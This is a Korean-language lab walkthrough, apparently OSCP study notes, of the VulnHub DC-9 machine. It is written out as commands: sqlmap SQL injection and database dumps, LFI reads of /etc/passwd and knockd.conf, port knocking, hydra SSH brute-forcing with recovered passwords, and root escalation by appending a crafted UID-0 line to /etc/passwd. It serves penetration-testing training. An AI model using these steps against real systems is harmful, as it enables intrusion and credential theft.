http://www.vulnhub.com/entry/dc-9%2C412/

 

 

 

 

 


 

 

 

1. Enumeration

 

 

1-1) Service Enumeration

 

22번 filtered

80 open

 

 

1-2) Web Enumeration

별 소득 없음

 

 

1-3) sql injection

 

모든 페이지의 request를 파일에 넣은 후

sqlmap으로 돌려 보았다.

 

 

 

 

 

1) DB 목록 확인

# sqlmap -r search.txt --dbs --batch

DB = MySQL

 

DB_List :

information_schema

Staff

users

 

 

 

2) Table 목록 확인

 

# sqlmap -r search.txt --tables

 

3) 컬럼 / 스키마 목록 확인 : 패스

# sqlmap -r search.txt --columns --batch

# sqlmap -r search.txt --schema --batch

 

 

 

4) 현 DB 확인

# sqlmap -r search.txt --current-db --batch

current DB = 'Staff'

 

 

5) 현 user 확인

# sqlmap -r search.txt --current-user --batch

current user : dbuser@localhost

 

 

 

6) Staff DB 데이터 덤프

# sqlmap -r search.txt -D Staff --dump-all --batch

 

 

 

 

7) users DB 데이터 덤프

# sqlmap -r search.txt -D users --dump-all --batch

username과 pasword가 보인다.

둘 다 리스트로 만들어 별도 저장한다.

 

 

8) 해시 복호화

# hash-identifier [hash]

 

 

hashkilller 복호화 결과

ID : admin

PW : transorbital1

 

 

 

9) 로그인 및 취약점 찾기

 

File does not exit

LFI(Local File Inclusion) 가능해 보인다.

 

 

url에 file 파라미터를 추가해 실험해본다.

이게 된다면 LFI 취약점이 있다는 것.

 

?file=../../../../etc/passwd

/etc/passwd 가 열람되는 것으로 보아

/etc 아래 어떤 특정 파일을 건드릴 수 있을 것 같다.

 

 

 

10) port knocking

 

현재 검색되는 포트는 22번과 80.

22번은 ssh / 방화벽 필터링 중이고

80만 열려있다.

 

 

포트 노킹 method를 찾아본다.

 

 

port knocking :

port knocking is a method of externally opening ports on a firewall by generating a connection attempt on a set of prespecified closed ports. Once a correct sequence of connection attempts is received, the firewall rules are dynamically modified to allow the host which sent the connection attempts to connect over specific port(s).

포트 노킹은 미리 지정된 일련의 닫힌 포트에서 연결 시도를 생성하여 방화벽에서 포트를 외부에서 여는 방법입니다. 올바른 연결 시도 순서가 수신되면 연결을 보낸 호스트가 특정 포트를 통해 연결을 시도할 수 있도록 방화벽 규칙이 동적으로 수정됩니다 (위키백과)

 

 

포트 노킹의 주요 파일 중 config 파일의 경로는

/etc/knockd.conf

 

 

?file=../../../../etc/knockd.conf

나온다.

 

 

Open SSH의 시퀀스 값이

7469 / 8475 / 9842

 

 

11) open port

knock 데몬을 설치해 주고

knock 커맨드를 사용해 ssh 포트를 열어주자.

# apt install -y knockd

# knock 192.168.10.8 7469 8475 9842

# nmap 192.168.10.8 -p 22

 

 

처음에는 filtered 상태였던 22번 포트 상태가

open으로 바뀌었다.

 

 

 


 

 

2. Penetration

 

1) 이제 위에서 찾은 ID와 PW를 통해

ssh 접속해보자.

로스, 챈들러, 조이...

프렌즈를 좋아하는 사람이 만든 듯

 

 

 

 

# hydra -L users.txt -P passwd.txt 192.168.10.8 ssh -t 2

(시간이 걸린다)

 

3 개 찾았다.

 

chandlerb : UrAG0D!

joeyt : Passw0rd

janitor : Ilovepeepee

 

 

실제 시험에서는 시간을 아끼기 위해

xhydra로 timeout을 7 정도로 조정해 돌리자.

훨씬 빠르다.

 

 

2) 로그인 및 기본 서버 정보 확인

# ssh chandlerb@192.168.10.8

# tmp 폴더에 기본 점검 코드를 만들던지 받든지 해서 돌린다.

 

 

 

3개의 아이디로 모두 로그인 후

chandler 에게서 아래 정보를,

# HSTS 1.0 Known Hosts database for GNU Wget.

# Edit at your own risk.

# <hostname> <port> <incl. subdomains> <created> <max-age>

github.com 0 1 1615956340 31536000

 

 

마지막 janitor에서 아래 정보를 찾음

 

새로운 암호 목록이다.

 

 

3) 기존 암호 목록에서 중복되는 것 배제하고

해당 암호로 다시 한번 bruteforce

fredf : B4-Tru3-001

 

 

4) 로그인 후 정보 찾기

# ssh fredf@192.168.10.8

$ sudo -l

Matching Defaults entries for fredf on dc-9:

env_reset, mail_badpass,

secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

 

User fredf may run the following commands on dc-9:

(root) NOPASSWD: /opt/devstuff/dist/test/test

 

fredf@dc-9:/home$ /opt/devstuff/dist/test/test

Usage: python test.py read append

 

test.py 파일을 찾아보자

 

파이썬 프로그램을 찾았다.

 

 

이 프로그램은

만약 인자 값이 3개가 아닌 경우

사용 방법을 일러주고

(1. 프로그램명:test.py 2.read file 3.append file)

 

 

인자로는 파일을 2개 받는데

처음 파일의 내용을 r, 읽어와

두 번째 파일에 a, append 시켜준다.

 

 

쉽게 생각해

내용을 추가로 집어넣어 주는 프로그램.

우리에게 유리한 어떤 것을 생성해

어딘가에 넣어주면 된다.

 

 

 


 

 

 

3. Previlege Escalation

 

 

1) 사용자 생성 및 추가

가장 쉬운 방법으로

새로운 사용자를 생성해

/etc/passwd에 넣으면 되는데

이때 사용자 생성 형식은

/etc/passwd 필드 구조 형식으로

만들어 줘야 한다.

 

 

필드 구조 예)

fredf@dc-9:~$ head -1 /etc/passwd

root : x : 0 : 0 : root : /root : /bin/bash

사용자명 : 암호 : UID : GID : 계정 이름(정보) : 사용자 홈 디렉터리 : 사용자 로그인 쉘

 

 

먼저 암호를 생성하는데

파이썬으로 암호화 작업을 시킨다.

$ python -c 'import crypt;print(crypt.crypt("takudaddy","t4kud4ddy")'

비번은 takudaddyt4kud4ddy

이제 폼을 만들어 보면 다음과 같다.

takudaddy:t4DFty0rjIKnU:0:0:takudaddy:/root:/bin/bash

 

 

 

2)이걸 파일에 담아주고

프로그램을 돌려보자

 

$ sudo /opt/devstuff/dist/test/test new.txt /etc/passwd

 

 

3) 새 사용자로 로그인

$ su takudaddy

# whomai

root

 

 

 


 

 

 

4. 다른 방법으로 계정 생성

 

 

openssl로 암호화 된 암호를 만들어본다.

 

 

# openssl passwd -6 -salt taku t4kud4ddy

 

 

파일로 생성해주고

$ echo 'taku:$6$taku$GaDhk/mGvplCNdsEYQDA498k8tz/jolPf1bXj99u6X/a0fdG5J4G5B92Axk68Gumea.B9s4wZCj1HMZ2DTik61:0:0:takudaddy:/root:/bin/bash' > ssluser.txt

 

 

python 프로그램으로 /etc/passwd에 넣어준 뒤

$ sudo /opt/devstuff/dist/test/test ssluser.txt /etc/passwd

 

 

잘 들어갔는지 확인한 후

$ tail -1 /etc/passwd

 

 

taku 사용자로 전환하면

$ su taku

password : t4kud4ddy

 

 

 

 

 

 

 

 

728x90

'OSCP > Vulnahub' 카테고리의 다른 글

3. Digitalworld.local : Joy  (0) 2021.03.20
2. DIGITALWORLD.LOCAL: Mercy V2  (0) 2021.03.19
현 OSCP 코스 시스템과 비슷한 박스 시작  (0) 2021.03.16
7. HackLAB-Vulnix  (0) 2021.03.16
6. Brainpan  (0) 2021.03.14

+ Recent posts